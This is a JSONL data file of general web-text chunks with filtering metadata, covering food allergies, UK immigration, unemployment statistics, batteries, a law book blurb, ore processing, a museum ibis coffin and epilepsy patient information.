symptoms. careful avoidance of allergenic foods in the diets of the mothers and infants did not reduce the later development of eczema, asthma, hay fever, or food allergy symptoms. other proposed treatments for food allergies and sensitivities digestive enzymes such as have been proposed as a treatment for food allergies, based on the reasonable idea that digesting offending proteins will reduce allergic reactions to them. however, there is no real evidence as yet that they are effective against food allergies. extract is a supplement derived from the thymus gland of cows. highly preliminary evidence suggests that by normalizing immune function, thymus extracts may be helpful for food allergies. however, there are significant safety issues, and this study did not prove the supplement to be effective. article for details. species ) are friendly bacteria that have been studied for their ability to prevent or treat respiratory allergies and various gastrointestinal symptoms, most notably diarrhea. however, at least study found that probiotics were not helpful in treating cow \u2019 s milk allergy among infants.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46388571131534534, "token_count": 464, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.500277"} {"text": "social sciences - hot topics - immigration the uk has always had immigration as part of its history. romans, vikings, saxons and normans have come from mainland europe to britain ( albeit usually as part of an invading army! ). in later times britain became home to people escaping persecution, like jews and heugenots and famine and economic poverty, like the irish in the 1800s. during the 1900s britain continued to become home to many europeans. however modern immigration took hold after the second world war was over. many caribbean people came from that part of the world in the 1950s and often took low paid and menial jobs, not wanted by the majority population. in the 1960s and 70s asians from uganda, formed another large wave of immigrants. recently however, immigration has become a major political and logistical issue once again. thousands of african and arabic people have come to europe to escape conflict or poverty. many people are also coming over to work in the uk as the eu expands to the east. the issue of immigration has started to concern some people. \" i have never agreed with the lazy elitism that dismisses immigration as an issue, or portrays anyone who has concerns about immigration as a racist \u2026 immigration is \u2026 a question to be dealt with \" - prime minister gordon brown. november 2009. this side of the argument says that the uk needs immigrants. many of them take on low paid jobs which the existing population don ' t want. also some people come over with skills that are in shortage in this country. for example, nurses and doctors come over from african countries. thirty per - cent of doctors and over ten per - cent of nurses are non - uk born. overseas teachers also make up a growing number of school staff. the government continues to seek highly skilled foreign workers and is seeking to attract them as well as those who want to set up businesses here, which will result in economic and taxation benefits to the uk. in europe the number of people of working age is declining as birth rates fall, in 2001 a united nations population division study said that within 25 years the eu will need up to 159 million immigrants to keep up the current ratio between working and retired people. this will mean economic growth should be stable and the retirement age should not have to rise. there can also be cultural benefits from adding to the mainstream. for example, asian food and cooking are now part of the british way of life. there are those people who see any non - european immigration as an erosion of white culture as the uk becomes ever more multi - cultural. some of", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39856159538796165, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.504710"} {"text": "to the mainstream. for example, asian food and cooking are now part of the british way of life. there are those people who see any non - european immigration as an erosion of white culture as the uk becomes ever more multi - cultural. some of the white population feel afraid of their culture and way of life being taken away and swamped by new foreign cultures. those of a more central way of thinking see immigration only as a problem when the pace and scale of it becomes too much for the host country to take. migration watch say that asian and east african ' s arriving in the mid - 1970s were about 27, 000. yet in 2004 immigration came to 342, 000. the govenment estimated just 13, 000 poles would come to work in the uk in 2005 / 6, when in fact 600, 000 came over. government figures from the office for national statistics put immigration for 2005 as1, 500 a day, whilst 1, 000 people a day left the country, this meant a rise in the population of 500 people a day through immigration. by 2010 net immigration rose to 252, 000 in the uk. migrationwatch says that legal immigration at the present rate will require about 1. 5 million new houses, adding to pressure on land availability. england is now twelve times as crowded as the usa and equals netherlands as the most crowded country in europe. it also argues that economic benefit from new arrivals may be limited as most send money back home to aid their families. added to this there are a large number of illegal immigrants estimated at 50, 000 a year and they too need housing and jobs. of course any newcomers to the country will need access to healthcare and education and all these resources will be stretched and possibly not be able to cope with the population growth. what ' s to be done? at present the uk government has introduced a points system which will let in workers whose skills the uk needs. there seems to be a desire to look at limiting immigration. pressure has come from an estimated figure of a 70 million uk population by 2029 given by the office for national statistics ( ons ) in which migration will play a large part. politicians of all parties are concerned that the issue should be looked at, to counter the rise in public support for right wing parties like the british national party ( bnp ). recent measures have also included a crack down on bogus colleges running short courses as a way of entering the country. a migration watch paper in 2010 put the figure of a quarter of a million student applications from abroad and called for", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4517698477288366, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.505718"} {"text": "related bls programs | related articles june 1994, vol. 117, no. 6 randy e. ilg t he number of unemployed persons and the unemployment rate are among the most visible and politically sensitive economic statistics. but while these aggregate measures certainly are important, policies undertaken to lessen the extent of unemployment, or its impact after the fact, must be based on a detailed knowledge of the makeup of the jobseeking population. for example, joblessness among teenagers can be quite different, in both cause and effect, from the joblessness among adult men and women with families. similarly, policy implications of short - term unemployment, such as that which occurs for seasonal reasons or because of temporary fluctuations in product demand, are much different from those associated with long - term unemployment stemming from chronic deficiencies in demand or from structural problems. in recent years, the amount of time that persons go jobless has been a critical aspect of the discussion regarding whether, and for how long, extended unemployment insurance benefits might be provided for those whose normal coverage has expired. this brief analysis focuses on the extent of long - term unemployment associated with the 1990 - 91 recession and its aftermath, and compares it with conditions related to other major recessions of the past two decades. ( the minor recession that occurred in 1980 is not addressed separately here. ) data on the long - term unemployed - those jobless 27 weeks and longer ( or more than 6 months ) - suggest similarities among the last three major recessions, but also indicate some differences. 1 in each case, the incidence of long - term unemployment continued to increase following the official end of the recession. 2 levels peaked and began to improve slightly more than a half year after the official end of the 1973 - 75 and 1981 - 82 recessions, but were much slower to peak following the 1990 - 91 recession, as were other major labor market indicators. 3 this excerpt is from an article published in the june 1994 issue of the monthly labor review. the full text of the article is available in adobe acrobat ' s portable document format ( pdf ). see how to view a pdf file for more information. read abstract download full text in pdf ( 242k ) 1 the source of these data is the current population survey, a monthly survey of nearly 60, 000 households, conducted by the bureau of the census for the bureau of labor statistics. 2 the national bureau of economic research, a private research organization, determines the official starting and ending dates of recessions by examining changes in many economic indicators, including - but not limited", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.48184974848037504, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.508568"} {"text": "battery type information revised by boatus editors in april 2012 do you know the difference between the various rechargeable batteries : nickel - cadmium ( nicad ), nickel - metal hydride ( nimh ), and a lithium ion ( li - ion ) batteries? do you care? you should ; it could make the difference between, say, a handheld vhf or cell phone that works as advertised and one that goes dead too quickly. a nicad battery, which is the type used with most handheld vhf radios, has \" memory \", which means it should not be subject to shallow discharge. if you tend to use your handheld briefly and then top off the charge before the battery is completely drained, it will remember that level of dichaarge as its baseline. for example, if your battery is supposed to last for five hours and is recharged routinely after it is used one hour, it will eventually need recharging after it is used only one hour. if you diligently top off your handheld vhf nicad every week, just to be safe, you ' ll be wondering why the \"! @ # $ % \" thing goes dead so quickly. so much for your good intentions. the other two battery types, lithium and nickel - metal hydride, don ' t suffer from the memory effect so they can be used for ten minutes or ten hours. they also - surprise - cost more. however, you get what you pay for - a handheld vhf with a lithium battery has a higher concentration of energy and a lower discharge rate than a comparable radio with a nicad battery. to end on a note of optimism, if you have a nicad that has already developed short term memory, you can bring it back, at least most of the way back, by waiting until it is completely dead before recharging. gradually the length of time between recharging will lengthen. in these times of searches for alternate energy sources, there are frequent developments in the field of batteries. always stay tuned. courtesy of seaworthy magazine return to boattech", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4773118001609, "token_count": 420, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.510647"} {"text": "religion, racism, rights : landmarks in the history of modern anglo - american law ( paperback ) or try abebooks who may have this title ( opens in new window ). short description for religion, racism, rights the book highlights the interconnections between three framing concepts in the development of modern western law : religion, race, and rights. - published : 21 may 2010 - format : paperback 332 pages - isbn 13 : 9781841137292 isbn 10 : 1841137294 - sales rank : 810, 964 $ 11. 53 - save $ 2. 41 17 % off - rrp $ 13. 94 $ 39. 96 - save $ 2. 10 ( 4 % ) - rrp $ 42. 06 $ 29. 58 - save $ 1. 56 ( 5 % ) - rrp $ 31. 14 $ 29. 58 - save $ 1. 56 ( 5 % ) - rrp $ 31. 14 full description for religion, racism, rights the book highlights the interconnections between three framing concepts in the development of modern western law : religion, race, and rights. the author challenges the assumption that law is an objective, rational and secular enterprise by showing that the rule of law is historically grounded and linked to the particularities of christian morality, the forces of capitalism dependent upon exploitation of minorities, and specific conceptions of individualism that surfaced with the reformation in the sixteenth century, and rapidly developed in the enlightenment in the seventeenth and eighteenth centuries. drawing upon landmark legal decisions and historical events, the book emphasizes that justice is not blind because our concept of justice changes over time and is linked to economic power, social values, and moral sensibilities that are neither universal nor apolitical. highlighting the historical interconnections between religion, race and rights aids our understanding of contemporary socio - legal issues. in the twenty - first century, the economic might of the usa and the west often leads toward a myopic vision of law and a belief in its universal application. this ignores the cultural specificity of western legal concepts, and prevents us from appreciating that, analogous to past colonial periods, in a global political economy anglo - american law is not always transportable, transferable, or translatable across political landscapes and religious communities. ' darian - smith ' s new book is an example of what is most exciting about new scholarship in the humanities. it works across disciplinary and methodological boundaries in its attempt to deal with one of our most pressing current social problems -", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5114903286920531, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.515384"} {"text": "religious communities. ' darian - smith ' s new book is an example of what is most exciting about new scholarship in the humanities. it works across disciplinary and methodological boundaries in its attempt to deal with one of our most pressing current social problems - determining the consequences of the sometimes violent interaction of race, religion and law in times of social crisis. darian - smith explodes the myth of secularism in modern society, and the illusion of post - racialism, in her unblinking analysis of present dilemmas. once you read this book you will never again think that the western concept of individual rights is sufficient to resolve the contradictions of modern existence. this is a genuinely important step forward in western scholarship ' - stanley katz, president emeritus of the american council of learned societies and professor, woodrow wilson school, princeton university. ' eve darian - smith takes us on an amazing journey covering four centuries that brilliantly illuminates the continuously evolving interplay of law, religion, and race in the anglo - american experience. this wonderfully readable book is imaginatively organized around a series of eight landmark ' law moments ' that ingeniously show how legal rights are always being subtly shaped by culturally prevailing ideas about religion and race, a process that still goes on in our supposedly 21st century secular world that claims to be free of racism ' - richard falk, albert g. milbank professor of international law emeritus, princeton university. ' in this volume, eve darian - smith offers a passionate, wide - ranging analysis of the complex, historically - vexed relations among religion, race, and rights over the past four plus centuries. the book begins, in 1571, with martin luther and ends, at the dawn of the new century, with the discriminatory labor practices of walmart, the recent crusades of george bush and his theocons, and the resurgence of religious faith. by way of a well - chosen sequence of ' legal landmarks ' - each an historical drama in its own right, each a piece of theater in which judicial processes take center stage - darian - smith develops a compelling, complex critique of the law, of its inherent ambiguities, its violence, its possibilities. and its historical entailment in political, economic, social and ethical forces well beyond itself, forces that, repeatedly, have opened up a yawning gap between its ideological ( self ) representation and the realities of its everyday practice. this is an ambitious work of scholarship, one which, by virtue of brush strokes at once", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5206724937050942, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.516389"} {"text": "* * * * * mr. jas. j. shedlock, with the assistance of mr. t. denny, of australia, has constructed on behalf of the metallurgical syndicate, of 105 gresham house, london, an apparatus on a commercial scale, which, it is said, effects at the smallest expense, and with the best economical results, the entire separation of metals from their ores. in treating ores by this process, the stone is crushed in the usual way, either by rolls or stamps, the crushed ore being conveyed into an apparatus, where each atom is subjected to the action of gases under pressure, whereby the whole of the sulphur and other materials which render the ore refractory are separated. the ore is then conveyed into a vessel containing an absorbing fluid metal, so constructed that every particle of the ore is brought into contact with the metal. for the production of reducing gases, steam and air are passed through highly heated materials, having an affinity for oxygen, and the gases so produced are utilized for raising the ore to a high temperature. by this means the sulphur and other metalloids and base metals are volatilized and eliminated, and the gold in the ore is then in such a condition as to alloy itself or become amalgamated with the fluid metal with which it is brought into close contact. the tailings passing off, worthless, are conveyed to the dump. the apparatus in the background is that in which the steam is generated, and which, in combination with the due proportion of atmospheric air, is first superheated in passing through the hearth or bed on which the fire is supported. the superheated steam and air under pressure are then forced through the fire, which is automatically maintained at a considerable depth, by which means the products of combustion are mainly hydrogen and carbonic oxide. these gases are then conveyed by means of the main and branch pipes to the cylindrical apparatus in the foreground, into which the ore to be acted upon is driven under pressure by means of the gases, which, being ignited, raise the ore to a high temperature. the ore is maintained in a state of violent agitation. each particle being kept separate from its fellows is consequently very rapidly acted upon by the gases. the ore freed from its refractory constituents is then fed into a vessel containing the fluid metal, in which each particle of ore is separated from the others, and being acted upon by the fluid metal is absorbed into it, the tailings or refuse passing off freed from any gold", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.552737338734828, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.518863"} {"text": "- psychology & the public - what we do - member networks - careers, education & training does facebook make you fatter? time spent on social networking sites comes at the expense of other activities \u2013 including physical activity. that is the suggestion of a study being presented today at the annual conference of the british psychological society \u2019 s division of health psychology in liverpool. the study carried out at the university of ulster by masters degree student emer o \u2019 leary under the supervision of psychologists dr wendy cousins and dr tadhg macintyre asked 353 students to complete an online survey measuring social networking activity and levels of physical activity. the results showed that the vast majority of students used social networking sites like facebook and twitter spending an average of one hour a day online. when it came to the results from the physical activity questionnaire, just over half the students were classified as \u2018 moderately active ; and a third were \u2018 high activity \u2019, with a minority ( 12. 7 per cent ) falling into the \u2018 low physical activity \u2019 group. a quarter of the respondents said they took part in team sports. when the results were analysed, the researchers found that the amount of time spent social networking was negatively correlated with the respondents \u2019 level of physical activity in the previous week. people who spent a lot of time on social networking sites were also less likely to take part in team sports, but this effect was less pronounced. dr cousins says : \u201c time is a finite resource, so time spent in social networking must come at the expense of other activities. our study suggests that physical activity may be one of those activities. \u201c our findings are intriguing, but as we have not conclusively demonstrated that social networking causes lower levels of physical activity. we will need to carry out more research to see if it really is a case of facebook makes you fat rather than twitter makes you fitter. \u201d - most read - most comments - register of applied psychology practice supervisors - raising awareness of adult autism", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4446650206398529, "token_count": 394, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.522002"} {"text": "jude recently had the pleasure of meeting miss donacien and the ks2 pupils at wix primary school. here \u2019 s how she got on \u2026 at wix, i was lucky enough to have a whole assembly to find out what the kids in years 3 to 6 thought of brainpop. we started by talking about how brainpop movies are made and watched the digital animation movie where tim tells us about this. once the movie finished, this prompted a discussion about how long movies take to make and how long brainpop had been around. i could tell from talking to these young brainpoppers they had already watched lots of movies but then i posed quite a hard question \u2026 \u201c what is the difference between someone who just watches brainpop movies and a brainpopper? \u201d everyone thought hard and had excellent suggestions : - using brainpop at home - using brainpop to learn although both statements are true i thought i \u2019 d better explain the difference. everyone was surprised to learn i was a brainpopper before i even met tim and moby. but how can that be? \u201c i am so very old, \u201d i explained, \u201c that when i was at school we didn \u2019 t have computers. but i used to love going to the library and using books to find out lots of interesting facts, just like brainpoppers do. \u201d however, there \u2019 s another important brainpop characteristic : i explained that one of the features of a great brainpopper is that they don \u2019 t just watch a movie and think, \u201c that was interesting. \u201d they watch a brainpop movie and think, \u201c i \u2019 m going to do something with that information. \u201d examples we discussed were watching the filmmaking movie and then scripting and recording your own movie ; watching the roald dahl movie before reading his books ; or watching the blogs movie before setting up your own blog. i had already seen miss donacien \u2019 s class blog and it made me think what turned out to be true \u2013 wix primary school is full of brainpoppers! once i had explained what being a brainpopper meant the ideas flowed thick and fast : - use brainpop at home to research a topic you \u2019 re interested in - use brainpop to help younger or older siblings with their homework ( everyone was surprised to hear that brainpop is used in secondary schools as much as primary schools! ) - use brainpop with mum and dad so they can learn too assembly was soon over and there was just time for a quick recap on what makes a great brainpopper", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4736008558112268, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.524711"} {"text": "oilarticle free pass a brief treatment of fixed oils follows. for full treatment of edible oils, see fat and oil processing. fixed oils and fats have the same chemical composition : they consist chiefly of glycerides, resulting from a reaction between an alcohol called glycerol and certain members of a group of compounds known as fatty acids. along with proteins and carbohydrates, the glyceride oils and fats constitute the three main classes of food. besides their nutritive importance, these oils have a variety of industrial uses. linseed, tung, and other drying oils ( i. e., those that are highly unsaturated ) and large quantities of soybean, sunflower, and safflower oils are used in paints, varnishes, and alkyd resins. such oils are particularly well suited for this application because, when exposed to air, they absorb oxygen and polymerize readily, forming thin layers as a skin or protective film. considerable quantities of specialty oils and sulfonated oils are used in leather dressing and textile manufacture. some other glyceride oils have properties of medicinal value. castor oil, for example, has a strong purgative action ; fish - liver oils are sources of vitamins a and d ; and others such as lard, olive oil, and almond oil serve as vehicles in pharmaceutical preparations. chaulmoogra oil, which contains unique fatty acids with a cyclic ( cyclopentenyl ) structure, has been used in the treatment of hansen \u2019 s disease ( leprosy ). see also fat. what made you want to look up \" oil \"? please share what surprised you most...", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4475084104776964, "token_count": 351, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.527797"} {"text": "animal mummies were routinely placed in some type of container once the animal had been wrapped in linen. the more ordinary containers were specially designed or reused pottery jars. such objects have been found by the tens of thousands in so - called animal cemeteries at a number of sites in egypt. at times elaborate coffins were crafted to hold the animal mummies. just as human coffins were anthropoid, 50 animal coffins took the form of the animal contained. the ibis mummy held by this coffin was placed within through the detachable lid on the back. the gilding of the body and the exquisite detailing of the head, legs, and feet make this example one of the finest of its kind. - medium : wood, silver, gold, and rock crystal - possible place collected : tuna el - gebel, egypt - dates : 305 - 30 b. c. e. - period : ptolemaic period with later additions - dimensions : 15 1 / 16 x 7 15 / 16 x 21 15 / 16 in. ( 38. 2 x 20. 2 x 55. 8 cm ) ( show scale ) - collections : egyptian, classical, ancient near eastern art - museum location : this item is not on view - accession number : 49. 48 - credit line : charles edwin wilbour fund - rights statement : creative commons - by - caption : ibis coffin, 305 - 30 b. c. e. wood, silver, gold, and rock crystal, 15 1 / 16 x 7 15 / 16 x 21 15 / 16 in. ( 38. 2 x 20. 2 x 55. 8 cm ). brooklyn museum, charles edwin wilbour fund, 49. 48. creative commons - by - catalogue description : standing figure of an ibis serving as container for mummified ibis. wooden body, entire surface gilded. conventionalized tail indicated by black paint over the gilt. top of body cut for cover which runs entire length of body. head and feet cast ( solid? ) in silver. eyes of crystal outlined in gold. incised necklace at base of neck. mounted on oblong wooden base, apparently original, of rough work. mummified ibis within body. condition : intact. minor chips along edges of cover. one section on front of body where gesso base has lifted and cracked. gilt is covered with resin (? ) which may be remains of a varnish. - record completeness : best ( 91 % )", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45557262864311304, "token_count": 501, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.531690"} {"text": "epilepsy and brain tumours this information on epilepsy simply provides a basis for discussion with the healthcare professionals with whom you are in contact. it should not in any way be used as a substitute for professional care. what is epilepsy? primary generalised epilepsy this is where the chemical and electrical disturbance occurs throughout all of the brain. these seizures come on without warning. this can result in a convulsion ( grand mall or simply cause a momentary loss of awareness lasting seconds ( absence ) or sudden jerks ( myoclonic ). this is where the disturbance in brain cell function starts at one specific site in the brain. the symptoms reflect the normal function of the part of the brain that is involved, ( see diagram ). for example, if the seizure arises in the part of the brain that controls movement there will be jerking of the limbs. if it involves the part of the brain that perceives sensation, it causes a strange tingling in the limbs. if it affects the temporal lobe of the brain, where thoughts and memories are stored, it may produce a feeling of disorientation, a funny smell, deja vu, panic attacks or strange recurring thoughts. these seizures can occur without any loss of awareness ( simple partial seizures ), or with loss of awareness for a short period ( complex partial seizures ). functions of the cerebral hemispheres frontal, temporal, parietal and occipital lobes occasionally the focus of electrical activity can spread from the localised area to involve the whole brain. when this occurs it causes a convulsion with loss of consciousness and movements of arms and legs ( secondary generalised seizures ). these convulsions usually differ from those of primary generalised epilepsy only in that there is frequently a \" warning \" before losing consciousness. most people with a brain tumour and epilepsy will have partial / focal epilepsy because the tumour causes a focal disturbance in one part of the brain. is epilepsy a common problem? epilepsy is relatively common. at any one time, at least 1 in 200 people have epilepsy and 5 % of all people will have a seizure at some time in their life. most people with epilepsy have normal brain scans and only a very small proportion have a brain tumour. what are the common types of brain tumour? primary brain tumours are those that arise from the brain cells directly, whereas secondary tumours are those arise in another site in the body and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5121448636555677, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.544258"} {"text": "a very small proportion have a brain tumour. what are the common types of brain tumour? primary brain tumours are those that arise from the brain cells directly, whereas secondary tumours are those arise in another site in the body and spread ( metastasise ) to the brain. meningiomas arise from the coverings of the brain ( meninges ) and are usually considered benign. neuromas arise from nerves and are benign. pituitary adenomas arise from the glandular tissue of the pituitary and are benign. if i have seizures does it mean my tumour is more severe? no. about 80 % of people with less serious glioma brain tumours, and only 20 to 30 % of people with more serious brain tumours will have seizures. if seizures are present from the start, the overall outlook is better than in people who present with other symptoms such as weakness or headache. seizures can also occur with benign brain tumours ( such as meningioma ) or tumours that have spread to the brain from another site ( metastases ). how is epilepsy diagnosed? the diagnosis is made from the description of the precise features of the seizures, and the circumstances in which they occur. an eeg test may be helpful in determining the type of seizure and site of any problem. the eeg is a painless, safe procedure where thin wires are placed onto the scalp and these wires ( electrodes ) can demonstrate any irregularities in the normal activity of the brain. frequently, however, the eeg is completely normal between attacks. a ct brain scan or mri brain scan will produce pictures of the structure of the brain and will demonstrate where the abnormality is in the brain. can epilepsy be treated? yes. treatment with tablets or medicines will control seizures in about 50 % of people who have brain tumours and seizures. about 50 % of people will continue to have seizures despite treatment, but the seizure severity and frequency is much less with medication. the treatment is aimed at trying to reduce seizure frequency and severity without causing too many side effects from medication. the role of surgery in the treatment of epilepsy is still not completely certain. sometimes surgery can cure the seizures and occasionally seizures occur, or be temporarily worse after surgery. there are reports of radiotherapy reducing seizure frequency, but not enough evidence to say with any certainty that it does. the choice of medication usually depends on the seizure type, the possible side - effects, and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4653854842282741, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.546713"} {"text": "occur, or be temporarily worse after surgery. there are reports of radiotherapy reducing seizure frequency, but not enough evidence to say with any certainty that it does. the choice of medication usually depends on the seizure type, the possible side - effects, and interactions with other medications that you may have to take. what side - effects could i have from the medication? all medicines can cause side - effects. medication which prevents seizures ( anticonvulsants ) can cause side - effects too, even though most people take them for long periods of time with no unpleasant side - effects. some people can have an allergic reaction to the medication ( such as a rash, effects on the blood count or liver upset ) and others may feel tired or nauseated when a course of tablets is first begun. the tiredness and nausea may settle when you become used to the tablets, but the drug should be stopped if there is an allergic reaction ( contact your general practitioner or one of the medical professionals with whom you are in contact ). another possibility is that if you take too much of the medication, you can get ' toxic ' side - effects, which may cause double vision, unsteadiness, dizziness, drowsiness, nausea, headache or changes in behaviour. if you have any of these symptoms, ask your general practitioner. they may want you to take a smaller dose of the medication or to give a blood sample to measure how much is in the blood stream. each medication has its own list of possible side - effects. if you are concerned ask a medical professional for advice. how will medical professionals try and help me? general practitioners or the medical professionals with whom you \u2019 re in contact will usually introduce medication gradually in small doses and advise you to take the medication regularly. some medication has to be taken only once a day, while others need to be taken more frequently. the aim is to use the lowest dose of a single medication that will control seizures without toxic effects. your doctor may wish to measure the drug levels to check if the dose is right and is being taken regularly, or for making planned increases in the dose of some medication. in general doctors don ' t feel that the addition of a second drug to the first makes much difference, although there are some newer drugs that might be useful at reducing seizure frequency by 30 - 40 %. there may be interactions between different anti - convulsants and frequently it is difficult to tell which one may be causing the side - effects. if the drugs you have been given are unhelpful,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4851583587350622, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.547760"} {"text": "seizure frequency by 30 - 40 %. there may be interactions between different anti - convulsants and frequently it is difficult to tell which one may be causing the side - effects. if the drugs you have been given are unhelpful, you may be advised to discontinue the medication. however, withdrawal of medication will be done gradually and new medication can be introduced slowly as the old one is removed. stress and poor sleep can make seizures worse and doctors may suggest methods of overcoming this. it is uncertain if antidepressants make matters better or worse. in some people, seizure control with available medication is not possible. in these cases the medication may be reduced to minimise side - effects. in cases like this, surgery may even be considered. how can i help myself? - do not run out of medication. stopping anticonvulsants quickly can lead to an abrupt increase in the number of seizures. - a diary of seizure frequency and severity should be kept, as it will help when assessing any change in seizures related to changes in medication. - if you have any other illness, anticonvulsants should be continued. if the medication is vomited up within a few hours of taking it, an extra dose should be taken. however, you should always let your medical team know if this is happening, and to speak to them directly if you are at all concerned. always let your medical team know if you are taking other medication, which may affect anything else you are prescribed for the epilepsy. - not taking prescribed medication regularly is the most common cause of treatment failure. irregular therapy may be worse than no therapy at all. it may cause withdrawal effects, or it may make seizures or toxic side - effects worse. - establish a routine about taking your medication at a set time of day and consider using a pill box divided into the days of the week. follow closely the advice of your medical team, such as avoiding alcohol, make sure that you have sufficient sleep and eat regularly. - anyone may forget to take their medication at some time. if you miss a dose it is probably best to take an extra dose within the same 24 hour period, though again it \u2019 s always best to check this with your medical team. what should my friends do if i have a seizure? while the convulsion is in progress : - they should not put anything in your mouth or force your teeth open - they should not try to restrain your movements but let the seizure run its course. - you should be moved", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43003432373426126, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.548770"} {"text": "have a seizure? while the convulsion is in progress : - they should not put anything in your mouth or force your teeth open - they should not try to restrain your movements but let the seizure run its course. - you should be moved only if you are in danger from injury, e. g. close to a fire or on the road. after the seizure has finished : - you should be turned on your side. - your airway should be checked and kept under observation. after a major seizure : - you may be confused and need reassurance. - friends shouldn ' t give you anything to drink, until you have fully recovered. - transfer to hospital is necessary only if the fit is prolonged or repeated, or if injury has occurred. - do not take additional anticonvulsants after a seizure but continue to take them at your regular time and dose. ask your doctor for further advice if you are concerned. how will the seizures affect my daily life? you should not work with dangerous machinery, at heights, or in a job where, if you had a seizure, you could put yourself or others at risk. this is common sense, but also your employer may not be covered for any accidents that happen to you or others ; if you have not informed your employer, it is you that may be liable for any damages. in general, employers and work mates are very supportive and understanding. if your work involves any of the above, some alteration in the structure of your job may be possible. computers, vdus, discos and tvs are unlikely to precipitate seizures. if you are in the armed services, then it is likely that you will not be able to continue and you will be advised to take early retirement. the police and fire - service are a little more lenient, but it may mean a change in your job description. if you wish to continue working, and your employer says this is not possible, it may be worthwhile discussing things in more detail with the person who makes the final decision. this will personalise things more. a supporting medical statement will be helpful. many employers think there is only one kind of epilepsy ( generalised seizures / convulsions ). employers may be more open to persuasion if you have \" simple partial \" or even \" complex partial \" seizures. troublesome seizures can lead to all sorts of stresses and anxieties in the family. it is best that everyone in the family home is aware that you have occasional seizures, but that they", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43102252528280344, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.549784"} {"text": "\" simple partial \" or even \" complex partial \" seizures. troublesome seizures can lead to all sorts of stresses and anxieties in the family. it is best that everyone in the family home is aware that you have occasional seizures, but that they should not over - react to them. discuss things openly with your partner and children to ensure that they do not \" overprotect \" you. the well - meaning partner who does this can unwittingly find that they are contributing to a loss of confidence and self esteem that reduces your role within the family. this can lead to frustration and depression which may in turn aggravate your seizure frequency. especially if you are losing sleep, there is good evidence that relaxation techniques can reduce seizure frequency. it is advisable to shower rather than bathe, use a smother proof variety of pillows in bed and when cooking and setting fires be aware of the possible dangers. don ' t swim alone, wear a distinctive cap and inform the pool attendant. bicycle in company. don ' t box, canoe alone or rock climb. you can play rugby, karate and football as well as many other sports. consult your doctor if you have any worries. should i tell people that i have seizures? it is usually advisable to tell your family, employer and work mates. if you take a ' major ' seizure, they should also be told what to do ( see above ), be reassured that the seizure is usually over in a short spell of time, and that you may be confused for a little while afterwards. do seizures injure the brain? there is no evidence that the average seizure has any lasting effect on how the brain works. many people with epilepsy have had hundreds of seizures in their lives, without any noticeable changes in their alertness or intelligence. sometimes after a partial or generalised seizure, there can be a weakness on one side of the body for minutes or occasionally days ( todd ' s paresis ), but this usually resolves completely. rarely, seizures that last an unusually long time, or a series of non - stop seizures, may produce changes in the brain that can affect the brain ' s abilities, but this is an uncommon occurrence. is epilepsy linked to mental illness? epilepsy and mental illness are separate conditions. sometimes people with epilepsy experience fear that they may be mentally ill. they are usually relieved to hear that what is happening to them is merely the result of seizure activity in the brain. of course some people with epile", "subdomain_id": "subdomain_quantum_optics", 